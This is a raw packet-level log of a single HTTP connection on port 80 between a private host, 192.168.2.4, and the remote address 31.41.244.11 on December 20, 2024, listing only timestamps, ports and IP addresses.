Dec 20, 2024 11:12:11.557085037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.557133913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.559524059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.559576035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.559606075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.559650898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.562060118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.562110901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.562218904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.562268972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.564590931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.564642906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.564827919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.564876080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.567198038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.567250013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.567336082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.567380905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.569993973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.570030928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.570054054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.570080996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.572244883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.572304010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.572453022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.572506905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.574774027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.574830055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.574850082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.574876070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.577320099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.577380896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.577598095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.577646971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.579909086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.579946041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.579963923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.579989910 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.582434893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.582485914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.582541943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.582586050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.584975004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.585025072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.585227013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.585274935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.587536097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.587590933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.587655067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.587702036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.590132952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.590174913 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.590184927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.590230942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.592641115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.592685938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.592725992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.592771053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.595288038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.595371008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.595459938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.595504045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.597778082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.597824097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.598290920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.598345041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.600358963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.600399971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.600405931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.600440025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.602823019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.602866888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.602997065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.603039026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.605386019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.605447054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.605479956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.605525017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.607913971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.607964993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.607999086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.608046055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.610527039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.610595942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.610615015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.610661983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.612988949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.613037109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.613152981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.613202095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.615535021 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.615592003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.615715981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.615797043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.618086100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.618139982 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.733381987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.733438015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.733474016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.733513117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.734471083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.734527111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.734529018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.734581947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.736496925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.736548901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.736550093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.736624956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.738527060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.738586903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.738594055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.738631964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.741025925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.741077900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.741220951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.741274118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.743575096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.743627071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.743630886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.743681908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.745031118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.745084047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.745163918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.745217085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.746931076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.746979952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.747036934 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.747088909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.748984098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.749032021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.749039888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.749089003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.751048088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.751101971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.751233101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.751283884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.753185987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.753237009 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.753288031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.753340960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.755259991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.755325079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.755357027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.755408049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.757347107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.757397890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.757479906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.757530928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.759417057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.759462118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.759565115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.759618044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.761584997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.761636972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.761636972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.761681080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.763633966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.763685942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.763751984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.763802052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.765681982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.765748978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.765894890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.765949011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.767767906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.767832041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.767925978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.767978907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.769849062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.769903898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.769969940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.770028114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.771933079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.771979094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.771986961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.772032976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.774049044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.774099112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.774180889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.774228096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.776123047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.776170969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.776249886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.776297092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.778192043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.778240919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.778305054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.778350115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.780282974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.780330896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.780428886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.780477047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.782426119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.782474041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.782499075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.782545090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.784524918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.784579039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.784710884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.784759045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.786537886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.786587954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.786669970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.786710978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.788680077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.788741112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.788820982 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.788871050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.790746927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.790806055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.790934086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.790986061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.792838097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.792901993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.792979002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.793036938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.794867039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.794928074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.794989109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.795044899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.796947956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.797012091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.797091961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.797148943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.799051046 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.799118996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.799175978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.799225092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.801179886 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.801232100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.801239014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.801276922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.803350925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.803404093 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.803415060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.803451061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.805512905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.805548906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.805572033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.805598974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.807456017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.807518005 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.807653904 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.807703972 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.809547901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.809597015 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.809741974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.809787989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.811604977 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.811661959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.811724901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.811770916 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.813724995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.813776016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.813776970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.813821077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.815833092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.815886021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.815893888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.815937996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.818139076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.818192959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.818203926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.818237066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.820194006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.820249081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.820254087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.820291996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.822076082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.822132111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.822201967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.822243929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.824172020 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.824230909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.824286938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.824332952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.826179981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.826236963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.826301098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.826349974 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.828278065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.828342915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.828397036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.828443050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.830343962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.830403090 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.830473900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.830519915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.832458973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.832520008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.832575083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.832618952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.834610939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.834673882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.834706068 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.834750891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.836631060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.836702108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.836721897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.836770058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.838730097 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.838789940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.838875055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.838924885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.841006041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.841063023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.925709963 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.925762892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.925803900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.925822973 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.926373959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.926441908 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.926464081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.926507950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.927997112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.928050041 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.928113937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.928164959 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.929863930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.929915905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.929987907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.930037975 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.931648970 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.931699991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.931736946 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.931786060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.933422089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.933478117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.933548927 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.933597088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.935271025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.935309887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.935333967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.935359955 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.936961889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.937016010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.937067032 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.937112093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:11.938668013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:11.938718081 CET	49768	80	192.168.2.4	31.41.244.11
